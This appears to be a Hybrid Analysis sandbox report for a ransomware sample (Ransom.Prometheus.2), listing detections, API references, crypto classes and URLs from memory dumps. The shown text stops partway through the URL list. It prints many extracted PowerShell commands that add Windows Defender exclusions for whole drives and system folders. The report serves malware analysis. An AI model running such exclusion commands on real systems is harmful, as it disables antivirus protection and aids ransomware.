26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T544,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Prometheus.2;Trojan.Uztuby.Generic Sample 1888f46e4b45… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1888f46e4b45…. Malware family: Ransom.Prometheus.2;Trojan.Uztuby.Generic. Threat score 100/100. 10/27 AV engines flagged this file. 7 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7","keywords":["Malicious","Ransom.Prometheus.2;Trojan.Uztuby.Generic","malware analysis","sandbox report","threat intelligence","1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7"],"about":{"@type":"SoftwareApplication","name":"1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Prometheus.2;Trojan.Uztuby.Generic","antivirusDetections":{"malicious":10,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T11c7,Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18457354029") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18533578922") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WINDOWS.~BT/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18601228283") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/bridgeBlockrefsession/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18668879685") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Config.Msi/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18735135489") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18819105929") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/found.000/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18886709661") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/inetpub/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-18953297471") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19020727761") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19088903001") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19155524117") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\(x86)/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19221773837") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19288359765") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19355415823") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19690280423") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/tempdir/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-19757960255") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/TorService/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-20029213817") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-20096474447") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\'" (Indicator: "add-mppreference"; Source: "00000000-00005560-00000C47-20208247699") Found reference string "Add-MpPreference -ExclusionPath 'C:/$WINDOWS.~BT/'" (Indicator: "add-mppreference"; File: "AMSI") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/inetpub/'" (Indicator: "add-mppreference"; Source: "00000000-00001008.00000000.155545.38DD0000.00000004.mdmp") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/tempdir/'" (Indicator: "add-mppreference"; Source: "00000000-00001072.00000000.155568.77020000.00000004.mdmp") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'" (Indicator: "add-mppreference"; Source: "00000000-00001212.00000000.155576.87560000.00000004.mdmp") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/bridgeBlockrefsession/'" (Indicator: "add-mppreference"; Source: "00000000-00001436.00000000.155539.88920000.00000004.mdmp") Found reference string ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Config.Msi/'" (Indicator: "add-mppreference"; Source: "00000000-00004732.00000000.155539.BC1F0000.00000004.mdmp")28:Ta40,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003020.00000000.154219.730C5000.00000002.mdmp, 00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003020.00000000.154219.730C5000.00000002.mdmp, 00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006980.00000000.155536.0ECB2000.00000002.mdmp, 00000000-00006980.00000000.155536.18CAA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006980.00000000.155536.0ECB2000.00000002.mdmp, 00000000-00006980.00000000.155536.18CAA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006980.00000000.155536.18CAA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006980.00000000.155536.18CAA000.00000002.mdmp")29:T5cb,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003020.00000000.154219.730C5000.00000002.mdmp, 00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003020.00000000.154219.730C5000.00000002.mdmp, 00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003020.00000001.154671.003C9000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006980.00000000.155536.0ECB2000.00000002.mdmp, 00000000-00006980.00000000.155536.18CAA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006980.00000000.155536.0ECB2000.00000002.mdmp, 00000000-00006980.00000000.155536.18CAA000.00000002.mdmp")2a:T1bb0,Found reference to "jtuOPuy0Hkc0wRvPRC2" (Indicator: "RC2"; File: "1888f46e4b458671359f8006b57d8e2b9fe94c2ce08b8d33f7910947ccf43bb7.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00005560-00000BC0-1385756396") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00005560.00000000.155033.049C0000.00000004.mdmp, 00000000-00005560.00000000.155033.049D0000.00000004.mdmp, 00000000-00005560.00000000.155033.04CD0000.00000004.mdmp, 00000000-00005560.00000001.155355.049A0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00005560.00000000.155033.049C0000.00000004.mdmp, 00000000-00005560.00000000.155033.049D0000.00000004.mdmp, 00000000-00005560.00000000.155033.04CD0000.00000004.mdmp, 00000000-00005560.00000001.155355.049A0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00005560.00000000.155033.049C0000.00000004.mdmp, 00000000-00005560.00000000.155033.049D0000.00000004.mdmp, 00000000-00005560.00000000.155033.04CD0000.00000004.mdmp, 00000000-00005560.00000001.155355.049A0000.00000004.mdmp") Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp")2b:T694,"_p4[.va" Heuristic match: "xt=.co" Heuristic match: "gf>.lr" Heuristic match: "ext=.co" Heuristic match: "pathext=.co" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Heuristic match: ";.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.ws" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "version=4.0.sj" Heuristic match: "system.gh" Heuristic match: "icrosoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "icrosoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "microsoft.net/assembly/gac_msil/system/v4.0_4.0.0.0__b77a5c561934e089/system.dll" Heuristic match: "ntrust.net" Heuristic match: "ystem.management.automation.re" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0"54:T4efb,Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003020.00000000.154219.730B1000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00003020.00000001.154671.03400000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005560.00000000.155033.02B50000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\bridgeblockrefsession\portsvc.exe.configc:\bridgeblockrefsession\portsvc.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework64\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00005560.00000000.155033.04CD0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005560.00000001.155355.02B50000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006980.00000000.155536.0ECB2000.00000002.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc0=.;1n-;!8.;1g-;8=.;" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_];w/90$0" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l/(3;c(3;w(3;k(3;3)3;g)3;[)3;o)3;" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>1n-;1g-;;]/90f-;jh2;lh2;pp2;hp2;xp2;zp2;" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>1n-;1g-;auction0233w1o-;;w/9croscorpcroswind;]/90f-;" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowswashington1redmond1microsoft" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006980.00000000.155536.3B2B0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006980.00000000.155536.538D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006980.00000000.155536.538D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006980.00000000.155536.538D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc0=.;1n-;!8.;1g-;8=.;" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%y0t.;callsite.targetcallsite.target@[.;ourcescallsite.targetcallsite.targetlambda_methodp].;2.5.4.3lambda_methodent.automation.resourcesourcestoma" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_];w/9ourcesources" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00006980.00000001.156012.3B2B0000.00000004.mdmp") Found URL 